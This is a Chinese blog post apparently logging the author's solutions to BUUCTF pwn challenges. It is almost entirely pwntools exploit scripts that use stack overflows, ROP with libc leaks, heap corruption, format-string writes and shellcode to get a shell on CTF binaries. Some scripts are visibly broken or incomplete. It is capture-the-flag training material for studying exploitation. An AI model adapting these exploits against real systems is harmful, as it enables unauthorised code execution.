BUUCTF PWN题刷题记录 (未完待续)

最新推荐文章于 2024-04-28 12:30:16 发布

pipixia233333

最新推荐文章于 2024-04-28 12:30:16 发布

阅读量1.9k

点赞数 2

分类专栏：栈溢出堆溢出

本文链接：https://blog.csdn.net/qq_41071646/article/details/97939823

版权

栈溢出堆溢出专栏收录该内容

78 篇文章 7 订阅

订阅专栏

最近找了一个新的CTF比赛平台但是不知道为啥pwn的服务器总是连不上，所以到时候还是直接本地打默认2.23 so 如果有高版本的话我再切换，，，逆向的话先等等吧，，，先不刷。。等有空了再刷

第一题连上就有flag的pwn

直接运行就有权限，。

第二题 RIP覆盖一下

这个没有任何保护直接覆盖rip就可以了

from pwn import *
context.log_level = 'debug'
context.update(arch = 'amd64')

debug=1
if debug:
	elf=ELF("./pwn1")
	io=process("./pwn1")
else:
	io=remote("buuoj.cn",6000)

pop_rdi=0x4011fb
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
bin_sh_addr=0x40201B

if __name__ =="__main__":
	payload='a'*0xf+p64(0)+`
	io.sendline(payload)
	io.interactive()

第三题也是简单的栈溢出

from pwn import *

context.log_level = 'debug'
context.update(arch = 'amd64')
debug=0
if debug:
	io=process("./pwn1")
else:
	elf=ELF("./pwn1")
	io=remote("node3.buuoj.cn",28418)

fun_addr=0x40060d
libc=ELF("./libc-2.2764.so")

pop_rdi=0x4011fb

bin_sh_addr=0x40201B
if __name__ =="__main__":
	payload='a'*0x48+p64(fun_addr)#p64(pop_rdi)+p64(bin_sh_addr)+p64(elf.plt['system'])
	print payload
	io.sendline(payload)
	print io.recv()
	io.interactive()

第四题只是有一个替代函数

可以直接栈溢出

from pwn import*
io=remote("node3.buuoj.cn",25684)
payload='I'*20+"aaaa"+p32(0x08048F0D)
io.sendline(payload)
print io.recv()
io.interactive()

babyfengshui

这个题目以前做过

https://blog.csdn.net/qq_41071646/article/details/86563794

但是当时其实我是不怎么懂堆的可以说是一头雾水所以讲的很晕乎乎

但是现在看就是很简单的一道题由于这个题的防护可以直接利用unsorted bin 他先申请的 desc 那么可以申请一个大的然后可以随意修改后面的堆块的地址这里我们可以直接修改 got 表可以直接 free 改成 system 就可以成了。，

#!/usr/bin/env python
 
from pwn import *
 
#context.log_level = 'debug'
 
io = process('./babyfengshui')
elf = ELF('babyfengshui')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
 
def add(size, length, text):
    io.sendlineafter("Action: ", '0')
    io.sendlineafter("description: ", str(size))
    io.sendlineafter("name: ", 'AAAA')
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)
 
def dele(idx):
    io.sendlineafter("Action: ", '1')
    io.sendlineafter("index: ", str(idx))
 
def show(idx):
    io.sendlineafter("Action: ", '2')
    io.sendlineafter("index: ", str(idx))
 
def edit(idx, length, text):
    io.sendlineafter("Action: ", '3')
    io.sendlineafter("index: ", str(idx))
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)

if __name__ =="__main__":
	add(0x80,0x10,'a'*0x10)
	add(0x80,0x10,'b'*0x10)
	add(0x80,0x10,'c'*0x10)
	add(0x18,0x18,'/bin/sh;')

	dele(0)
	payload='a'*0x198+p32(elf.got['free'])
	add(0x100,len(payload),payload)


	show(1)
	io.recvuntil("description: ")
	free_addr=u32(io.recv(4))
	#gdb.attach(io)
	#pause()	
	libc_addr=free_addr-libc.sym['free']

	log.success('free_addr '+hex(free_addr))
	log.success('libc_addr '+hex(libc_addr))

	system_addr=libc_addr+libc.sym['system']

	payload=p32(system_addr)
	edit(1,len(payload),payload)
	#print io.recv()
	#gdb.attach(io)
	#pause()
	dele(3)

	io.interactive()
	io.close()

ciscn_2019_c_1

这个题目是国赛的分赛然后这个题目有一个栈溢出点

然后有一个shellcode 点一开始我以为要把他们给异或回去但是后来发现没有必要

strlen 碰见 0 就直接截断了没有必要进行这个加解密了

exp

from pwn import *
 
#context.log_level = "debug"
io=process("./ciscn_2019_c_1")
elf=ELF("./ciscn_2019_c_1")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

pop_rdi=0x400c83
__libc_start_main_got_add=elf.got['__libc_start_main']
puts_plt=elf.plt['puts']
main_addr=0x400B28

def decrypt(strs):
	ret_str=""
	for i in range(len(strs)):
		if ord(strs[i])>96 and ord(strs[i])<123:
			ret_str+=chr(ord(strs[i])^0xD)
			

		if ord(strs[i])>64 and ord(strs[i])<91:
			ret_str+=chr(ord(strs[i])^0xe)
		

		if ord(strs[i])>47 and ord(strs[i])<58:
			ret_str+=chr(ord(strs[i])^0xf)
			
	
	return ret_str

if __name__ =="__main__":
	
	io.recvuntil("Input your choice!")
	io.sendline("1")
	io.recvuntil("Input your Plaintext to be encrypted")
	payload='\x00'*0x50+p64(0)+p64(pop_rdi)+p64(__libc_start_main_got_add)
	payload+=p64(puts_plt)+p64(main_addr)
	#gdb.attach(io)
	#pause()
	io.sendline(payload)
	io.recvuntil("\n\n")
	#gdb.attach(io)
	#pause()
	libc_addr=u64(io.recv(6).ljust(8, '\x00'))-libc.sym['__libc_start_main']
	log.success("libc_addr "+hex(libc_addr))

	system_addr=libc_addr+libc.sym['system']
	bin_sh_addr=libc_addr+libc.search("/bin/sh").next()

	io.recvuntil("Input your choice!")
	io.sendline("1")
	io.recvuntil("Input your Plaintext to be encrypted")

	payload='\x00'*0x50+p64(0)+p64(pop_rdi)+p64(bin_sh_addr)
	payload+=p64(system_addr)+p64(main_addr)
	io.sendline(payload)
	io.interactive()
	io.close()

ciscn_2019_n_1

直接覆盖变量。。。

from pwn import*

if __name__ =="__main__":
	io=remote("node3.buuoj.cn",29248)
	payload='a'*0x2c
	payload+=p64(0x41348000)
	print io.recv()
	io.sendline(payload)
	print io.recv()
	io.interactive()

ciscn_2019_c_1

这题目不知道为啥远程打不通但是本地通了，，直接放exp吧，

from pwn import*
io=remote("node3.buuoj.cn",28613)
elf=ELF("ciscn_2019_c_1")
libc=ELF("./libc-2.2764.so")

context.log_level = 'debug'
pop_rdi_addr=0x400c83
if __name__ =="__main__":
	io.recvuntil("Input your choice!\n")
	io.sendline("1")
	io.recvuntil("Input your Plaintext to be encrypted\n")
	payload="\x00"*0x50+'a'*8+p64(pop_rdi_addr)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400B28)

	io.sendline(payload)
	io.recvuntil("Ciphertext\n\n")
	puts_addr=u64(io.recv(6).ljust(8,'\x00'))
	log.success("puts_addr "+hex(puts_addr))
	libc_base_addr=puts_addr-libc.sym['puts']
	io.recvuntil("Input your choice!\n")
	io.sendline("1")
	log.success("libc_base_addr "+hex(libc_base_addr))
	io.recvuntil("Input your Plaintext to be encrypted\n")

	system_addr=libc_base_addr+0x4f322
	bin_sh_addr=libc_base_addr+libc.search("/bin/sh").next()

	log.success("bin_sh_addr "+hex(bin_sh_addr))

	payload="\x00"*0x50+'a'*8+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)+p64(0x400B28)
	io.sendline(payload)

	io.interactive()

ciscn_2019_en_2 和上面一模一样就不发了，。

babyrop 简单的rop 只不过是需要绕过长度的比较而已

from pwn import*

io=remote("node3.buuoj.cn",27420)
libc=ELF("./libc-2.23.so")
elf=ELF("./pwn")

context.log_level = 'debug'
main_addr=0x8048825
if __name__ =="__main__":
	payload='\x00'+'a'*6+'\xff'
	io.sendline(payload)
	io.recvuntil("Correct\n")
	payloads='a'*0xe7+p32(0xdecccc)+p32(elf.plt['write'])+p32(main_addr)+p32(1)+p32(elf.got['write'])
	io.sendline(payloads)
	leak_addr=u32(io.recv(4))
	libc_addr=leak_addr-libc.sym['write']
	
	log.success("libc_addr "+hex(libc_addr))

	system_addr=libc_addr+libc.sym['system']

	bin_sh_addr=libc_addr+libc.search("/bin/sh").next()
	io.sendline(payload)
	payloads='a'*0xe7+p32(0xdecccc)+p32(system_addr)+p32(main_addr)+p32(bin_sh_addr)
	io.sendline(payloads)
	io.interactive()

get_started_3dsctf_2016

这个3dsctf 2019的题目挺难的这次看到题目那么简单还有点不习惯

但是用getflag 这个后门函数发现没有回显这就只能getshell了

然后本来的想法是直接read +shellcode 然后发现了 bss 不可写。。。。。

后来发现这个 mprotect 这个函数

emmmm 那就直接调用就修改一下bss就ok了


from pwn import*

io=remote("node3.buuoj.cn",28489)


#elf=ELF("./pwn")

context.log_level = 'debug'
getflag_addr=0x80489A0
main_addr=0x8048A20
pop_ret=0x0804951D
mprotect_addr=0x806EC80
bss_addr=0x080EB000
read_addr=0x806E140
if __name__ =="__main__":
	payload='a'*0x38+p32(mprotect_addr)+p32(pop_ret)+p32(bss_addr)
	payload+=p32(0x1000)+p32(0x7)+p32(read_addr)+p32(pop_ret)
	payload+=p32(0)+p32(bss_addr+1)+p32(0x100)+p32(bss_addr+1)
	io.sendline(payload)
	io.sendline(asm(shellcraft.sh(),arch = 'i386', os = 'linux'))
	io.interactive()

octf babyheap

我以前写的博客链接

https://blog.csdn.net/qq_41071646/article/details/90166668

[第五空间2019 决赛]PWN5

这个简单的考察格式化字符串用%offest $hhn 或者直接用函数都ok

from pwn import *

io=remote("node3.buuoj.cn",25000)

addr=0x0804C044


# or   addr+1   addr+2   %10hn %11%hn
payload=fmtstr_payload(10,{addr:0x11111111})

io.sendline(payload)

io.recvuntil("your passwd")
payload=str(0x11111111)


io.sendline(payload)

io.interactive()

not_the_same_3dsctf_2016

这个题目很简单只需要只需要改改上面的参数就ok。。

ciscn_2019_n_8

这个题目看到过类似的所以直接就过了只需要dword 覆盖一位bytes 就ok


from pwn import*

io=remote("node3.buuoj.cn",25844)


#elf=ELF("./pwn")

context.log_level = 'debug'

if __name__ =="__main__":
    io.recvuntil("What's your name?")
    payload='\x11'*(14*4-3)
    io.sendline(payload)
    io.interactive()

ciscn_2019_s_3

这个题目做过，。。题解

https://blog.csdn.net/qq_41071646/article/details/103459258

babyfengshui

这个题目也做过，，，就直接粘贴exp了

#!/usr/bin/env python
from pwn import *
 
context.log_level = 'debug'
 
io =remote("node3.buuoj.cn",26539)
libc=ELF("libc-2.23.so")
elf=ELF("./pwn")
def add_user(size, length, text):
    io.sendlineafter("Action: ", '0')
    io.sendlineafter("description: ", str(size))
    io.sendlineafter("name: ", 'AAAA')
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)
 
def delete_user(idx):
    io.sendlineafter("Action: ", '1')
    io.sendlineafter("index: ", str(idx))
 
def display_user(idx):
    io.sendlineafter("Action: ", '2')
    io.sendlineafter("index: ", str(idx))
 
def update_desc(idx, length, text):
    io.sendlineafter("Action: ", '3')
    io.sendlineafter("index: ", str(idx))
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)
 
if __name__ == "__main__":
    add_user(0x80, 0x80, 'AAAA')        # 0
    add_user(0x80, 0x80, 'AAAA')        # 1
    add_user(0x8, 0x8, '/bin/sh\x00')   # 2
    delete_user(0)
 
    add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free']))    # 0
 
    display_user(1)
    io.recvuntil("description: ")
    free_addr = u32(io.recvn(4))
    log.success("free_addr "+hex(free_addr))
    libc_addr=free_addr - libc.symbols['free']
    log.success("libc_addr "+hex(libc_addr))
    
    system_addr =libc_addr+libc.symbols['system']
    log.info("system address: 0x%x" % system_addr)
    update_desc(1, 0x4, p32(system_addr))
    delete_user(2)
 
    io.interactive()

[HarekazeCTF2019]baby_rop

#!/usr/bin/env python
from pwn import *
 
context.log_level = 'debug'
 
io =remote("node3.buuoj.cn",29772)
pop_rdi_ret=0x400683
elf=ELF("babyrop")
main_addr=0x4005D6
if __name__ == "__main__":
    bin_sh_addr=0x601048
    io.recvuntil("What's your name? ")
    payload='a'*0x18+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(elf.plt['system'])+p64(main_addr)
    io.sendline(payload)
    io.interactive()

pwn2_sctf_2016

这个题目一直思考int 80 怎么整，，，

后来直接泄漏libc addr 直接打就ok。。

#!/usr/bin/env python
from pwn import *
import re
context.log_level = 'debug'
 
io =remote("node3.buuoj.cn",29734)
libc=ELF("./libc-2.2332.so")
elf=ELF("./pwn2_sctf_2016")
main_addr=0x80485B8
frm_u_addr=0x80486CC
frm_s_addr=0x80486F8
if __name__ == "__main__":
	io.recvuntil("How many bytes do you want me to read? ")
	io.sendline("-1")
	io.recvuntil("data!\n")
	payload='a'*0x2C+'a'*4+p32(elf.plt['printf'])+p32(main_addr)
	payload+=p32(frm_s_addr)+p32(elf.got['printf'])
	io.sendline(payload)
	io.recvuntil("You said: ")
	io.recvuntil("You said: ")
	leak_addr=u32(io.recv(4))
	libc_addr=leak_addr-libc.sym['printf']
	
	log.success("leak_addr "+hex(leak_addr))
	log.success("libc_addr "+hex(libc_addr))
	io.sendline("-1")
	bin_sh_addr=libc.search("/bin/sh").next()+libc_addr
	system_addr=libc.sym['system']+libc_addr
	payload='a'*0x2C+'a'*4+p32(system_addr)+p32(main_addr)+p32(bin_sh_addr)
	io.sendline(payload)
	io.interactive()

ciscn_2019_final_3

这个题目幸亏是18的库，，，，

这个题目需要用tcachebins attack 修改堆块大小然后合并堆块泄漏libc 然后直接拿flag 就行

一开始一直在想shellcode的思路然后发现不太行还是最后用的正常思路

#encoding:utf-8
#!/usr/bin/env python 
from pwn import*
#io=process("./ciscn_final_3")
io=remote("node3.buuoj.cn",26845)
elf=ELF("./ciscn_final_3")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = "debug"

def gdb_s():
    gdb.attach(io)
    pause()

def add(index,size,con):
    io.recvuntil("choice > ")
    io.sendline("1")
    io.recvuntil("input the index\n")
    io.sendline(str(index))
    io.recvuntil("input the size\n")
    io.sendline(str(size))
    io.recvuntil("now you can write something\n")
    io.send(con)
    io.recvuntil("gift :")
    heap_addr=int(io.recvline(),16)
    return heap_addr

def dele(index):
    io.recvuntil("choice > ")
    io.sendline("2")
    io.recvuntil("input the index\n")
    io.sendline(str(index))



if __name__ =="__main__":
    heap_1=add(0,0x78,'1'*0x78)
    heap_2=add(1,0,'')
    heap_3=add(2,0x78,'1'*0x78)
    heap_4=add(3,0x78,'1'*0x78)
    heap_5=add(5,0x78,'1'*0x78)
    heap_6=add(6,0x78,'1'*0x78)
    heap_7=add(7,0x78,'1'*0x78)
    heap_8=add(8,0x78,'1'*0x78)
    heap_9=add(9,0x78,"/bin/sh;\n")
    heap_10=add(10,0x78,'1'*0x78)
    heap_11=add(11,0x78,'1'*0x78)
    heap_12=add(12,0x78,'1'*0x78)
    dele(10)
    dele(10)
    add(13,0x78,p64(heap_1-0x10))
    add(14,0x78,p64(heap_1-0x10))
    add(15,0x78,p64(0)+p64(0x4a1))
    dele(0)
    dele(1)
    heap_16=add(16,0x78,'1'*0x78)
    heap_17=add(17,0,'')
    heap_18=add(18,0,'')
    print hex(heap_17)
    print hex(heap_18)
    libc_addr = heap_18 - 0x3EBCA0
    log.success("libc_addr "+hex(libc_addr))
    __free_hook = libc_addr + libc.symbols['__free_hook']
    system_addr = libc_addr + libc.symbols['system']
    add(19,0x30,'\n')
    dele(19)
    dele(19)
    add(20,0x30,p64(__free_hook)+'\n')
    add(21,0x30,p64(__free_hook)+'\n')
    add(22,0x30,p64(system_addr)+'\n')
    dele(9)


    
    io.interactive()
    io.close()

ez_pz_hackover_2016

简单的题目，，

#!/usr/bin/env python
from pwn import *
import re

 
io =process("./ez_pz_hackover_2016")

chall_addr=0x8048603
context.arch = "i386"

if __name__ == "__main__":
	io.recvuntil("Yippie, lets crash: 0x")
	s_addr = int(io.recvuntil("\n",True),16)
	io.recvuntil("> ")
	log.success("s_addr "+hex(s_addr))

	payload='crashme'+'\x00'
	payload=payload.ljust(26,'\x00')
	payload+=p32(s_addr-0xffee899c+0xffee8980)
	payload+=asm(shellcraft.sh())
	io.sendline(payload)
	io.interactive()

ciscn_2019_ne_5

直接就可以拿到flag。不需要泄漏libc库

#!/usr/bin/env python
from pwn import *
import re
context.log_level = 'debug'
 
io =remote("node3.buuoj.cn",26181)
libc=ELF("./libc-2.2732.so")
elf=ELF("./ciscn_2019_ne_5")
context.arch = "i386"

if __name__ == "__main__":
	io.recvuntil("Please input admin password:")
	io.sendline("administrator")
	
	io.recvuntil("0.Exit\n:")
	io.sendline("1")
	io.recvuntil("Please input new log info:")
	io.sendline(p32(elf.got['puts']))

	io.recvuntil("0.Exit\n:")
	io.sendline("2")
	leak_addr=u32(io.recvuntil("\n"))
	libc_addr=leak_addr-0x0654a0

	log.success("leak_addr "+hex(leak_addr))
	log.success("libc_addr "+hex(libc_addr))

	system_addr=libc_addr+0x03e2b0
	bin_sh_addr=libc_addr+0x15d5c4
	io.recvuntil("0.Exit\n:")
	io.sendline("1")
	io.recvuntil("Please input new log info:")
	payload='a'*0x4c+p32(elf.plt['system'])+p32(0xdeadbeef)+p32(0x080482ea)
	io.sendline(payload)
	io.recvuntil("0.Exit\n:")
	io.sendline("4")
	io.interactive()

[HarekazeCTF2019]baby_rop2

简单的rop。。。

#!/usr/bin/env python
from pwn import *
import re
context.log_level = 'debug'
 
io =remote("node3.buuoj.cn",25002)
libc=ELF("./libc.so.6")
elf=ELF("./babyrop2")
context.arch = "amd64"
main_addr=0x400636
pop_rdi=0x400733
pop_rsi_r15=0x000400731
frm_addr=0x00400770
if __name__ == "__main__":
	io.recvuntil("What's your name? ")
	payload='a'*0x28+p64(pop_rdi)+p64(frm_addr)+p64(pop_rsi_r15)
	payload+=p64(elf.got['__libc_start_main'])+p64(0)+p64(elf.plt['printf'])
	payload+=p64(main_addr)
	io.sendline(payload)
	leak_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
	libc_addr=leak_addr-libc.sym['__libc_start_main']

	log.success("libc_addr "+hex(libc_addr))
	io.recvuntil("What's your name? ")
	system_addr=libc_addr+libc.sym['system']
	bin_sh_addr=libc_addr+libc.search("/bin/sh").next()
	payload='a'*0x28+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
	io.sendline(payload)

	io.interactive()

ciscn_2019_n_3

这是一道水题，，，一开始想复杂了，，

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
#io=process("./ciscn_2019_n_3")
io=remote("node3.buuoj.cn",28563)
libc=ELF("/lib/i386-linux-gnu/libc-2.27.so")
elf=ELF("./ciscn_2019_n_3")
def show(index):
	io.recvuntil("CNote > ")
	io.sendline("3")
	io.recvuntil("Index > ")
	io.sendline(str(index))

def dele(index):
	io.recvuntil("CNote > ")
	io.sendline("2")
	io.recvuntil("Index > ")
	io.sendline(str(index))

def add_string(index,size,value):
	io.recvuntil("CNote > ")
	io.sendline("1")
	io.recvuntil("Index > ")
	io.sendline(str(index))
	io.recvuntil("Type > ")
	io.sendline("2")
	io.recvuntil("Length > ")
	io.sendline(str(size))
	io.recvuntil("Value > ")
	io.send(value)


def add_int(index,value):
	io.recvuntil("CNote > ")
	io.sendline("1")
	io.recvuntil("Index > ")
	io.sendline(str(index))
	io.recvuntil("Type > ")
	io.sendline("1")
	io.recvuntil("Value > ")
	io.sendline(str(value))


def gdb_s():
	gdb.attach(io)
	pause()


str_printf=0x80486DE
int_free=0x80486FE
if __name__=="__main__":
	add_string(0,0x88,'aaaa\n')
	add_int(1,2)

	dele(0)
	dele(1)
	payload="bash"+p32(elf.plt['system'])
	add_string(2,0xc,payload+'\n')
	dele(0)
	io.interactive()

ciscn_2019_n_5

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
context(log_level = 'debug', arch = 'x86_64', os = 'linux')

io=remote("node3.buuoj.cn",25510)
payload=asm(shellcraft.sh())

io.recvuntil("tell me your name")
io.sendline(payload)

payload='a'*0x28+p64(0x601080)
io.recvuntil("What do you want to say to me?")
io.sendline(payload)

io.interactive()

关于jarvis oj的exp 都在这里

https://blog.csdn.net/qq_41071646/article/details/88878453

这里我就不写了。。。

ciscn_2019_es_2

这里我想了很久最后发现了一个地方

这个地方，，可以控制esp。可以直接拿到eip，，

问题就是怎么控制，，通过泄漏ebp 然后劫持ebp 然后通过构造的栈直接getshell

from pwn import *

#io=process('./ciscn_2019_es_2')
io=remote("node3.buuoj.cn",26271)
system_plt=0x8048400
main_addr=0x80485FF
payload='a'*0x24+'bbbb'
io.send(payload)
io.recvuntil('b'*4)
ebp_addr=u32(io.recv(4))

log.success("ebp_addr "+hex(ebp_addr))


payload=(p32(ebp_addr-0x30)+p32(system_plt)+p32(main_addr)+p32(ebp_addr-0x28)+'/bin/sh\x00')
payload=payload.ljust(0x28,'a')
payload+=p32(ebp_addr-0x34)

io.send(payload)

io.interactive()
#0xfff5e810

roarctf_2019_easy_pwn

off by one 其实很简单，，

但是就是难倒了 oneget 不能用，，，，

学到了新知识

from pwn import *

#io=process("./roarctf_2019_easy_pwn")
io=remote("node3.buuoj.cn",25520)
elf=ELF("./roarctf_2019_easy_pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level = "debug"

def add(size):
	io.recvuntil("choice: ")
	io.sendline("1")
	io.recvuntil("size: ")
	io.sendline(str(size))
	io.recvuntil("the index of ticket is ")
	index=io.recvuntil("\n")
	return index
def edit(index,size,content):
	io.recvuntil("choice: ")
	io.sendline("2")
	io.recvuntil("index: ")
	io.sendline(str(index))
	io.recvuntil("size: ")
	io.sendline(str(size))
	io.recvuntil("content: ")
	io.send(content)

def dele(index):
	io.recvuntil("choice: ")
	io.sendline("3")
	io.recvuntil("index: ")
	io.sendline(str(index))

def show(index):
	io.recvuntil("choice: ")
	io.sendline("4")
	io.recvuntil("index: ")
	io.sendline(str(index))

def gdb_s():
	gdb.attach(io)
	pause()

if __name__ == '__main__':
	add(0x88)
	add(0x18)#1
	add(0x18)#2
	add(0x18)#3
	add(0x28)#4
	add(0x28)#5

	add(0x28)#6
	add(0x28)#7
	add(0x68)#8

	add(0x30)#9
	payload='\x00'*0x88+p8(0x91)
	edit(0,0x88+10,payload)
	dele(1)
	add(0x18)#1
	show(2)
	io.recvuntil("content: ")
	leak_addr=u64(io.recv(8))
	libc_addr=leak_addr-88-0x3C4B20
	#gdb_s()
	log.success("leak_addr "+hex(leak_addr))
	log.success("libc_addr "+hex(libc_addr))

	system_addr=libc_addr+libc.sym['system']
	malloc_hook_addr=libc_addr+libc.sym['__malloc_hook']
	one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
	one_gadget_addr=libc_addr+one_gadget[1]
	hook_addr=malloc_hook_addr-0x23
	realloc = libc_addr + libc.symbols['__libc_realloc']

	edit(6,0x28+10,'a'*0x28+p8(0xa1))
	dele(7)
	dele(8)
	index=add(0x98)
	edit(index,0x38,'a'*0x28+p64(0x71)+p64(hook_addr))
	#gdb_s()
	add(0x68)
	index=add(0x68)
	payload=(0x13-8)*'a'+p64(one_gadget_addr)+p64(realloc+16)
	edit(index,len(payload),payload)
	#add(0x90)
	#gdb_s()
	#gdb_s()

	#payload=p64(hook_addr)+p64(hook_addr)
	#edit(2,len(payload),payload)
	#gdb_s()
	#add(0x80)
	io.interactive()


'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

此题参考链接

https://bbs.pediy.com/thread-246786.htm

https://blog.csdn.net/github_36788573/article/details/103674651

[ZJCTF 2019]Login

很简单的覆盖函数指针

如果在 strip_newline 不是在后面截断的估计这个题就很难了，，

为数不多的c++ pwn题，，还有类

引用的指针可以覆盖

不过要注意的是，，

竟然把第一个参数和最后一个参数写的一个，，

这样的话，，就需要截断两次，，

exp

#coding:utf-8
from pwn import*
#node3.buuoj.cn:29917
io=remote("node3.buuoj.cn",29917)
#io=process("./login")
elf=ELF("./login")
if __name__=='__main__'	:
	back_boor=0x400E88
	io.recvuntil("Please enter username: ")
	io.sendline("admin")
	password="2jctf_pa5sw0rd\x00"+'a'*26+'\x00'+'a'*30+p64(back_boor)
	io.recvuntil("Please enter password: ")
	#gdb.attach(io)
	#pause()
	io.sendline(password)
	io.interactive()

ciscn_final_2

这个题目学到了。。

这里百度了好久，，

题目的意思就是让把fileno 改成666 然后在4 调用scanf的时候就会输出 flag

这个题目就是典型的tcache bin 的uaf doule free

并不算太难如果掌握了那个 dup2的知识点就ok。。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
context(log_level = 'debug', arch = 'x86_64', os = 'linux')
#io=process("./ciscn_final_2")

io=remote("node3.buuoj.cn",26590)
libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
elf=ELF("./ciscn_final_2")

def add(add_type, add_num=0x20):
	io.recvuntil("which command?\n> ")
	io.sendline("1")
	io.recvuntil("TYPE:\n1: int\n2: short int\n>")
	io.sendline(str(add_type))
	io.recvuntil("your inode number:")
	io.sendline(str(add_num))


def dele(type_s):
	io.recvuntil("which command?\n> ")
	io.sendline("2")
	io.recvuntil("TYPE:\n1: int\n2: short int\n>")
	io.sendline(str(type_s))


def show(show_type):
	io.recvuntil("which command?\n> ")
	io.sendline("3")
	io.recvuntil("TYPE:\n1: int\n2: short int\n>")
	io.sendline(str(show_type))
	if show_type == 1:
		io.recvuntil('your int type inode number :')
	elif show_type == 2:
		io.recvuntil('your short type inode number :')
	return int(io.recvuntil('\n', drop=True),10)

def gdb_s():
	gdb.attach(io)
	pause()




if __name__=="__main__":
	#1 0x20
	#2 0x10
	add(1)
	dele(1)
	add(2)
	add(2)
	add(2)
	add(2)
	add(2)
	#add(1)
	dele(2)
	add(1)
	dele(2)
	#gdb_s()
	leak_addr=show(2)
	next_chunk_fd_addr=leak_addr-0xc0
	print hex(next_chunk_fd_addr)
	#pause()
	add(2,next_chunk_fd_addr)
	add(2,next_chunk_fd_addr)
	add(2,0x91)
	for i in range(7):
		dele(1)
		add(2)
	dele(1)

	leak_addr =show(1)
	libc_addr=leak_addr-96-libc.sym['__malloc_hook'] - 0x10

	fileno_addr=libc_addr + libc.sym['_IO_2_1_stdin_'] + 0x70
	add(1,fileno_addr)
	add(1)
	dele(1)
	add(2)
	dele(1)
	#gdb_s()
	chunk_addr=show(1)-0x30

	add(1,chunk_addr)
	add(1,chunk_addr)
	add(1,fileno_addr)
	add(1,666)
	io.sendline("4")
	io.recvuntil('your message :')
	print io.recv()
	io.close()

简单的栈溢出题目本地代码

#coding:utf-8
from pwn import*
io=process("./pwn")
#io=remote("",)
elf=ELF("./pwn")
libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
context.log_level = 'debug'
def gdb_s():
    gdb.attach(io)
    pause()
if __name__=='__main__' :
    main_addr=0x08048513
    bss_s_addr=0x804A300
    write_addr=0x80484BC
    leave_ret=0x8048511
    v_addr=0x80484A4 


    io.recvuntil("What is your name?")
    payload="aaaa"+"bbbb"+p32(1)+p32(elf.got['__libc_start_main'])+p32(0x14)
    io.sendline(payload)
    io.recvuntil("What do you want to say?")
    payload='a'*0x18+p32(bss_s_addr)+p32(v_addr)
    
    io.sendline(payload)

    io.recvuntil("What is your name?")
    payload="aaaa"+"bbbb"+p32(1)+p32(elf.got['__libc_start_main'])+p32(0x14)
    io.recvuntil("What do you want to say?")
    payload='a'*0x18+p32(bss_s_addr-0x80)+p32(write_addr)
    
    
    #gdb_s()
    io.sendline(payload)
    leak_addr=u32(io.recvuntil('\xf7'))
    libc_addr=leak_addr-libc.sym['__libc_start_main']
    log.success("libc_addr "+hex(libc_addr))
    system_addr=libc_addr+libc.sym['system']
    bin_sh_addr=libc_addr+libc.search("/bin/sh").next()
    one=libc_addr+0x3ac5e

    io.recvuntil("What do you want to say?")
    payload='a'*0x14+p32(bin_sh_addr)+p32(0)+p32(one)

    io.sendline(payload)

    io.interactive()

other_shell

这个题目连上去就有flag。，，

把我惊呆了，

bjdctf_2020_babystack

简单的栈溢出题目

import sys
from pwn import*
context.log_level='debug'
context.arch='amd64'
#io=process("./fm")
io=remote('node3.buuoj.cn',25421)
#io=process("./itemboard")
#elf=ELF("./fm")
 
if __name__ =="__main__":
	payload='a'*0x18+p64(0x4006E6)
	io.recvuntil('[+]Please input the length of your name:')
	io.sendline(str(len(payload)))
	io.recvuntil('name?')
	io.sendline(payload)
	io.interactive()

axb_2019_fmt32

简单的格式化字符串

#coding:utf-8
from pwn import*
#io=process("./axb_2019_fmt32")
io=remote("node3.buuoj.cn",27934)
elf=ELF("./axb_2019_fmt32")
libc=ELF("./libc-2.2332.so")
context.log_level = 'debug'
def gdb_s():
    gdb.attach(io)
    pause()
if __name__=='__main__' :
    printf_got=elf.got['printf']
    exit_got=elf.got['exit']
    io.recvuntil('Please tell me:')
    payload='a'+p32(printf_got)+'%8$s'
    io.sendline(payload)
    io.recvuntil('\x08')
    leak_addr=u32(io.recv(4))
    libc_addr=leak_addr-libc.sym['printf']

    log.success("libc_addr "+hex(libc_addr))

    system_addr=libc_addr+libc.sym['system']
    one_addr=0x3ac5e+libc_addr
    system_low=system_addr&0xffff
    system_high=(system_addr>>16)&0xffff
    log.success("system_addr "+hex(one_addr))
    log.success("system_addr ")
    payload='a'+p32(printf_got) + p32(printf_got+2) +'%%%dc'%(system_low-9-9)+'%8$hn'
    payload+='%%%dc'%(system_high-system_low) +'%9$hn'
    #payload = 'a' + fmtstr_payload(8,{printf_got : system_addr},numbwritten=10)
    io.recvuntil('Please tell me:')

    io.sendline(payload)

    io.sendline(";/bin/sh")
    io.interactive()

铁人三项(第五赛区)_2018_rop

简单rop，，

#coding:utf-8
from pwn import*
#io=process("./axb_2019_fmt32")
io=remote("node3.buuoj.cn",27648)
